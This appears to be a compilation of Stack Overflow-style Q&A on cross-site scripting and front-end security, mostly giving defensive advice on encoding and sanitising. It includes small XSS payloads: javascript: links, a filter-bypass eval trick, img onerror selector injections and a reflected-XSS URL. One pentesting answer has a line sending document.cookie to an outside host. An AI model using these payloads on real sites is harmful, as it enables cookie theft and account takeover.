On the front-end is it possible to catch all XSS attacks by removing < from user content? This seems a simple way to disable malicious code, and currently I have no use-cases that would require < to be preserved. Will this work in all cases?
The way I would display user content would always be as inner html, e.g.
<div>{USER CONTENT}</div>
Depends where you use the user input.
If you use it inside a a href=, then well: no!
<a href="{{linkFromUser}}">
and then that could be javascript:alert('oh no');
and a browser will execute it if the link is pressed, in the context of your page.
To clarify, the answer is in a comment of the accepted answer.
Lux kindly linked a document confirming that a similar approach of entity encoding < is enough to prevent scripts running inside inner html content (which pretty much answers my question). However & also needs to be encoded and the UTF7 XSS charset should be avoided (apparently).
Related
I have found that Cross Site Scripting vulnerability in a client's application.
The problem is that the vulnerable parameter does not accept parenthesis. So something like alert(document.cookie) will be rejected because of parenthesis.
I can get XSS using alert xss
and I have tried the code below also failed the site reloading long time i think it's rejected
window.onerror=eval;throw '=1;alert\u0028document.location\u0029'
I tried from the link parentheses alternatives in JS , if any?
But I failed.
are there any alternatives ?
thank you
Is there a reason that an alert is necessary? I understand that it is common for demonstrating a proof of concept, but would simply having a redirect would be sufficient?
For example:
document.location="https://example.com?cookie="+document.cookie
It's important for pentesters to remember that XSS is not actually about popping alert boxes, but about executing arbitrary JavaScript. What would a real attacker do with the access your XSS allows?
Imagine setting up an identical site on a similar domain as your client's, and redirecting the user there... except now you don't need XSS and can log key strokes, ask them to download files, attempt browser exploits, etc.
I have a website that is only accessible via https.
It does not load any content from other sources. So all content is on the local webserver.
Using the Retire.js Chrome plugin I get a warning that the jquery 1.8.3 I included is vulnerable to 'Selector interpreted as HTML'
(jQuery bug 11290)
I am trying to motivate for a quick upgrade, but I need something more concrete information to motivate the upgrade to the powers that be.
My question are :
Given the above, should I be worried ?
Can this result in a XSS type attack ?
What the bug is telling you is that jQuery may mis-identify a selector containing a < as being an HTML fragment instead, and try to parse and create the relevant elements.
So the vulnerability, such as it is, is that a cleverly-crafted selector, if then passed into jQuery, could define a script tag that then executes arbitrary script code in the context of the page, potentially taking private information from the page and sending it to someone with malicious (or merely prurient) intent.
This is largely only useful if User A can write a selector that will later be given to jQuery in User B's session, letting User A steal information from User B's page. (It really doesn't matter if a user can "tricky" jQuery this way on their own page; they can do far worse things from the console, or with "save as".)
So: If nothing in your code lets users provide selectors that will be saved and then retrieved by other users and passed to jQuery, I wouldn't be all that worried. If it does (with or without the fix to the bug), I'd examine those selector strings really carefully. I say "with or without the bug" because if you didn't filter what the users typed at all, they could still just provide an HTML fragment where the first non-whitespace character is <, which would still cause jQuery to parse it as an HTML fragment.
As the author of Retire.js let me shed some light on this. There are two weaknesses in older versions of jQuery, but those are not vulnerabilities by themselves. It depends on how jQuery is used. Two examples abusing the bugs are shown here: research.insecurelabs.org/jquery/test/
The two examples are:
$("#<img src=x onerror=...>")
and
$("element[attribute='<img src=x onerror=...>'")
Typically this becomes a problem if you do something like:
$(location.hash)
This was a fairly common pattern for many web sites, when single page web sites started to occur.
So this becomes a problem if and only if you put untrusted user data inside the jQuery selector function.
And yes the end result is XSS, if the site is in fact vulnerable. https will not protect you against these kinds of flaws.
I've been looking all over for this, and I think the problem is that I inherently suck at programming or scripting of any sort, and I don't know the right words to use...
Basically: I want to make a Chrome extension that reads the the innerText value from the ticketing system at the place I work with. As an example...
<span class="infomsg">Tickets Found [<span id="tickets_count">5</span>]</span>
The goal would be for the extension to display the text "5" over the icon.
What's the best way to do this? I've tried configuring the background.html page with an iframe with the URL with the ticket count as the source, but then I run into the cross-domain scripting issue. document.getElementById("tickets_count").innerHTML can't use a specified URL, as near as I've found.
I'm sure I haven't described it very well at all - totally floundering here, to be honest...let me know what I can clarify, and I'll edit my post.
Thanks!
It depends on whether the page you're looking at is static (e.g. the server sends you HTML with this information already in it) or dynamic (e.g. some JavaScript on the page requests additional information and then adds this to the page).
If it's static, you can use XHR to request the page and find the string you need in the "raw" HTML response. You can't use getElementById in that case - you'll need to find a way to find the string yourself.
If it's dynamic, that won't work. An iframe-in-the-background approach is valid - but you can't access the contents of the iframe. Instead, you should inject a content script in that page and request the information you need.
I understand it's a broad answer - but your question is also quite broad.
just while filling in an online form I found out, that auto-completion works for a website I've never visited before.
Now I wonder if a "cyber-criminal" could place on a fraud web-site a form with several input fields (e.g. account number, password) and simulate keyboard input trying to get/guess the values from my cache via auto-completion. Then she could simulate enter-press and forward data to her server. The form could be even invisible :-(
My question is, could it be possible using JS or some new sophisticated Web-tricks? May be it is even a well-known fraud-trick?
No. Those autocomplete options exist somewhere inside the browser but outside of the DOM and javascripts execution enviornment. They would not be available to javascript until after you hit enter and put the information into the html element. Its not nessecarily impossible, who knows what undiscorved exploits lie out there... but it is not likely and it would (read should) be quickly patched if it was.
Is it, in any way, possible to disable the browsers execution of script inside a block/section/element ?
My scenario is, that I'm letting my (future) users create "rich content" (using CK-editor).
Content that wil later be shown to other users - with all the dangers that imply: xss, redirection, identity theft, spam and what not...
I've, more or less, given up on trying to "sanitize" the incomming XHTML, after seeing how many known "vectors of attack" there are: http://ha.ckers.org/xss.html
What I'm really looking for is something like:
< div id="userContent">< scriptOFF>
suspect HTML
< /scriptOFF>< /div>
The ideal way is to not accept html/javascript from the end users. If you are okay with that limitation, you just need to make sure you encode the output according to the appropriate context. Don't re-invent the wheel, just use an existing library for that purpose.
But if you must accept HTML, use a library like OWASP's ANTI-SAMY or HTML Purifier. They were built exactly for this purpose.
You have to sanitize the input, there is no way to selectively disable javascript that I know of.
It is important to use a whitelist of allowed tags, not a blacklist. That way it should be possible to do it safely.
Even if you used a "noscript" tag or a "textarea" tag its sill xss. Whats keeping the attacker from injecting closing tags?
< div id="userContent">< scriptOFF>
<?=$_GET['xss']?>
< /scriptOFF>< /div>
But its still xss:
http://localhost/xss.php?xss=< /scriptOFF>< /div> <script> alert(/still_xss/) </script>
Yes, but that would "whitelist" would be HUGE - and I'm far from competent enough to detect subtle loopholes, alá those described here: http://ha.ckers.org/xss.html
This would need to be a "community effort" - looking at HTML-purifier (http://htmlpurifier.org) now...
I just thought it would be great to have such a tag to prevent 99% of the XSS "vectors"
Can "anyone in power" please convince the browser-makers to implement it : )
Edit:
Alright. HTML-purifier it is!
- thanks to everybody for replying : )
#sri mentioned where to find "html5 iframe sandbox" information,
here is a test script.
What you should see is "Browser supports iframe sandbox attribute :)" is you are viewing in Chromium.
Might also get positive results in khtml/webkit based browsers like phone browsers.
Opera 11, Firefox 3.6 and Firefox4 have yet to implement the sandbox attribute.
Article explaining background and current state at gnubyexample.blogspot.com
No, but then again you should definitely not be allowing your users to hand-feed code into the page in the first place.
Don't attempt to sanitize Javascript; do not allow Javascript. In fact, do not allow HTML at all. Write your own limited markup language (ala BBCode) or allow a select few HTML tags if you really have to.
i.e. Be additive rather than subtractive with your security endeavours.